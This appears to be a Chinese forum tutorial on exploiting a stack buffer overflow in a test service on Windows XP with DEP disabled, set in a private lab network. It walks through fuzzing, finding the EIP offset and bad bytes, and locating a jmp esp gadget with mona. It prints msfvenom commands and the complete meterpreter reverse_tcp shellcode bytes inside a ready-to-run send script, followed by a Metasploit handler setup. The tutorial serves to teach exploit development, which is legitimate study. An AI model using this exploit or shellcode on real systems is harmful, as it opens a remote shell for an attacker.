Wker_TestLangue实现溢出目标主机(二进制漏洞exp脚本编写)

缓冲区溢出

首先我们先要系统是XP没有开启DEP(开启的话呢需要rop绕过会有些麻烦,这里不详细将如何绕过)
如何检测你的虚拟机开没开DEP,首先我们打开我的电脑->属性:


如果那个noexecute=AlwaysOff的话呢说明这个DEP没有开启,系统是不会检测边界问题的,其实说白了就和我们当时玩XP内核用调试模式打开XP时候配置的boot.ini修改的位置一样,只不过我们这个时候是要更改noexecute这个属性。
然后重启一下,我们还是运行我们调试的程序。
这个时候我们要来做模糊测试了,首先我们的思路是这样子的,他既然没有检测我们的输入是否存在边界,那么我们就可以考虑,我们输入的内容会不会溢出到EIP这个寄存器呢?没错,这个就是我们想到的,那么我们如何检测呢?我们首先先用DBG附加我们的程序。
这里我们不能用OD,因为OD会捕获这个EIP位置的异常,我们需要设置,但是我怕我这里说了,会有点偏离文章主题,所以我们用一个Immunity Debugger,这个会把这个异常反馈给我们,我们用这个调试器附加进程,这个方便之处他可以查看进程开发的端口,容易选择,选择开放8888这个端口的进程。
我们先发送50个a给这个程序,看看这个程序会不会溢出。

发过去之后,我们立马过去看调试:
img8
这个时候程序pause了,可以看到EIP变成了4个61!那么为什么会变成61呢?想了一下,我们输入了a,它对应的十六进制的ASCII正好就是61!所以我们可以基本确定的是,我们输入的内容中的一部分被溢出到了EIP这个寄存器。
那么我们下一步就是要来确定到底是哪个位置溢出的字符变成了EIP的值,所以我们这个时候就要来找,这个时候我们有两种思路:

  1. 使用二分法

  2. 使用特征字符
    第一种就是比较基本的寻找,第二种就是输入50个不同的字符,然后看看是哪个位置的值覆盖了EIP。
    第二种kali之前是带了可以生成的工具,但是我的kali不知道什么原因出错了,可能是Ruby的版本不同吧。
    我就用二分法,也不是很难,就是在50个位置里面找一个位置,找个几次也就找出来了,这里的话呢我们最好用一个小脚本:

function main(args)
{
	s = CreateTCPSocket("192.168.209.130",8888);
	wb = TCPSocketRecv(s);
	print(wb);
	b = AddBytes(GetSomeBytes("144",16),GetSomeBytes("97",4));
	TCPSocketSend(s,bw);
	wb = TCPSocketRecv(s);
	print(wb);
	CloseTCPSocket(s);
}

详细的函数说明请看函数介绍,很简单就是通过更改"B"字符乘的个数,来确定到底是第几个位置出现了,也就是到底是乘几才会让EIP变成4个“O”。
最终发现16个B之后的连续四个字节会覆盖EIP。
img9
到此为止我们就已经完成了一半,我们现在可以控制程序的EIP,那么问题来了,虽然我们可以控制程序的EIP,那么如何让他执行我们想要执行的代码呢?这是一个问题。
这个时候我们多次尝试的过程中发现一个问题,当我们字符输入很多的时候,我们在四个“O”之后的内容会出现在栈中!这个意思就是说我们可以控制栈的内容:
img11

所以说溢出的结构是:

——————————
原始位置
——————————
EIP
——————————

——————————

这个时候就可以想到,如果我们在栈中放入我们的恶意代码,然后让EIP的值等于ESP,那么就会在目标系统执行我们的木马。
好了那么我们现在需要一段恶意代码,也就是能够在目标系统留一个后门程序的,那么我们如何得到呢?其实kali提供给我们了一个程序可以生成这么一段汇编代码,使用msfvenom这个程序进行生成。
具体命令:msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.209.138 lport=666 -a x86 -f c --platform windows


可以看到生成了一个Python格式的字节但是我们注意,可以看到我们这里面存在一个00,这个显然不是我们要的,因为00是字符串的结束啊,所以我们不能有00这个字节,那么我们就需要告诉他我们排除00这个badchar。
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.209.138 lport=666 -a x86 -f c --platform windows -b 00

这个就是没有00了,那么我们可以改一下我们的代码:

但是我们还是没有考虑到所有不被允许的字节,这里通过将所有字节传输过去(可以挨个试,但是一般是一次性发送到255),最终发现0d这个字节也是不被允许的,所以最终我们生成的shellcode应该这么写:msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.209.138 lport=666 -a x86 -f c --platform windows -b 00 0d

但是单纯的python的shellcode格式是不行的,我们需要转换成10进制,并且整理,最终整理的结果:

189,202,146,107,146,218,197,217,116,36,244,95,49,201,177,86,131,199,4,49,111,15,3,111,197,112,158,110,49,246,97,143,193,151,232,106,240,151,143,255,162,39,219,82,78,195,137,70,197,161,5,104,110,15,112,71,111,60,64,198,243,63,149,40,202,143,232,41,11,237,1,123,196,121,183,108,97,55,4,6,57,217,12,251,137,216,61,170,130,130,157,76,71,191,151,86,132,250,110,236,126,112,113,36,79,121,222,9,96,136,30,77,70,115,85,167,181,14,110,124,196,212,251,103,110,158,92,76,143,115,58,7,131,56,72,79,135,191,157,251,179,52,32,44,50,14,7,232,31,212,38,169,197,187,87,169,166,100,242,161,74,112,143,235,2,181,162,19,210,209,181,96,224,126,110,239,72,246,168,232,217,16,75,38,97,112,181,199,145,88,114,147,193,242,83,156,138,2,91,73,38,9,203,178,30,220,133,91,92,223,155,1,233,57,203,101,185,149,172,213,121,70,69,60,118,185,117,63,93,210,28,208,11,138,136,73,22,64,40,149,141,44,106,29,39,208,37,214,66,194,82,129,172,26,163,36,172,112,167,238,251,236,165,215,203,178,86,50,72,180,169,195,120,206,156,81,196,184,224,181,196,56,183,223,196,80,111,132,151,69,112,17,132,213,229,154,252,138,174,242,2,244,153,92,253,211,153,155,1,161,181,3,105,89,134,179,105,51,6,228,1,200,41,11,225,49,224,68,105,187,101,38,8,188,175,230,148,189,92,51,39,199,45,196,200,56,36,161,201,56,72,215,246,238,113,173,57,51,198,190,12,22,111,85,110,4,111,124

function main(args)
{
	s = CreateTCPSocket("192.168.209.130",8888);
	wb = TCPSocketRecv(s);
	print(wb);
	b = AddBytes(GetSomeBytes("144",16),GetBytes("227,65,75,95"));
	bt = AddBytes(b,GetSomeBytes("144",6));
	bw = AddBytes(bt,GetBytes("189,202,146,107,146,218,197,217,116,36,244,95,49,201,177,86,131,199,4,49,111,15,3,111,197,112,158,110,49,246,97,143,193,151,232,106,240,151,143,255,162,39,219,82,78,195,137,70,197,161,5,104,110,15,112,71,111,60,64,198,243,63,149,40,202,143,232,41,11,237,1,123,196,121,183,108,97,55,4,6,57,217,12,251,137,216,61,170,130,130,157,76,71,191,151,86,132,250,110,236,126,112,113,36,79,121,222,9,96,136,30,77,70,115,85,167,181,14,110,124,196,212,251,103,110,158,92,76,143,115,58,7,131,56,72,79,135,191,157,251,179,52,32,44,50,14,7,232,31,212,38,169,197,187,87,169,166,100,242,161,74,112,143,235,2,181,162,19,210,209,181,96,224,126,110,239,72,246,168,232,217,16,75,38,97,112,181,199,145,88,114,147,193,242,83,156,138,2,91,73,38,9,203,178,30,220,133,91,92,223,155,1,233,57,203,101,185,149,172,213,121,70,69,60,118,185,117,63,93,210,28,208,11,138,136,73,22,64,40,149,141,44,106,29,39,208,37,214,66,194,82,129,172,26,163,36,172,112,167,238,251,236,165,215,203,178,86,50,72,180,169,195,120,206,156,81,196,184,224,181,196,56,183,223,196,80,111,132,151,69,112,17,132,213,229,154,252,138,174,242,2,244,153,92,253,211,153,155,1,161,181,3,105,89,134,179,105,51,6,228,1,200,41,11,225,49,224,68,105,187,101,38,8,188,175,230,148,189,92,51,39,199,45,196,200,56,36,161,201,56,72,215,246,238,113,173,57,51,198,190,12,22,111,85,110,4,111,124"));
	TCPSocketSend(s,bw);
	wb = TCPSocketRecv(s);
	print(wb);
	CloseTCPSocket(s);
}

那么这个144是做什么的,其实就是怕不是第一个字符开始执行有点差错的话呢那么我们的程序就会终止,那么我们可以加几个NOP进行填充,这样保证我们的程序可以正确无误的执行。
我们大部分的工作完成了,但是还存在一个问题,那个OOOO到底要写成什么,我们肯定不能写成ESP的地址,那么怎么办?这个时候我们只能间接的进行实现了。
反正我们只要让EIP运行到ESP的位置,那么我们为什么不能找一个地址,这个地址存储的汇编代码是可以跳转到ESP的呢?
例如:jmp esp,ret,jnz/jz/je/jne esp,寻找这个样子的代码,第一个明显是最简单的,第二个的话呢我们还是需要构造一下,好让他能返回到ESP,第三个的话呢我们还需要考虑标志寄存器的一个问题(其实还有好多,这里我就举了这几个)。
所以我们现在就要找一个这个程序里面哪个地方存在jmp esp这条语句,我们只需要将OOOO设置为这个地址,然后EIP运行到这里的时候,然后他就会跳转到ESP。
我们首先要确定我们找到的这个地址他是不会改变的地址(ASLR),第二就是这个地址里面不能存在00,第三就是这个地址没有被SEH链保护,第四还要这个地址要是系统的DLL。
确定这一点之后,我们就要来查一下,这个DBG有个mona插件,可以网上下载,他支持查看:!mona modules:


OD也有类似的插件。
我们尽量保证除了OS DLL这个选项是true,其他的选项都是FALSE,我们最终发现了SLMFC.dll,那么我们就在这个DLL中寻找jmp esp
其实如果主程序的地址不是00开头的话呢应该也是可以用的,但是很可惜一般不太可能。
那么我们来寻找一下,使用命令:!mona find -s "\xff\xe4" -m "SLMFC.dll"
最后得到:

jmp esp对应的就是ff e4。
最后找到了这么多,随便选一个:0x5f4b41e3
我们尝试一下,但是我们用的时候注意,我们这个地址是要能够执行的,如果不是的话呢要确保你的DEP是关闭的(上面说过了)。
还需要注意的是,我们内存的存储方式,需要反过来,也就是说我们要这样写:\xe3\x41\x4b\x5f,当然也是需要转换成十进制。
代码写好之后我们就需要配置我们的msf进行侦听:

 use exploit/multi/handler
 set payload windows/meterpreter/reverse_tcp
 set LHOST 192.168.209.138
 set LPORT 666
 exploit -j

最终我们的结果会是这个样子:

最终我们成功的溢出了目标系统。

1 个赞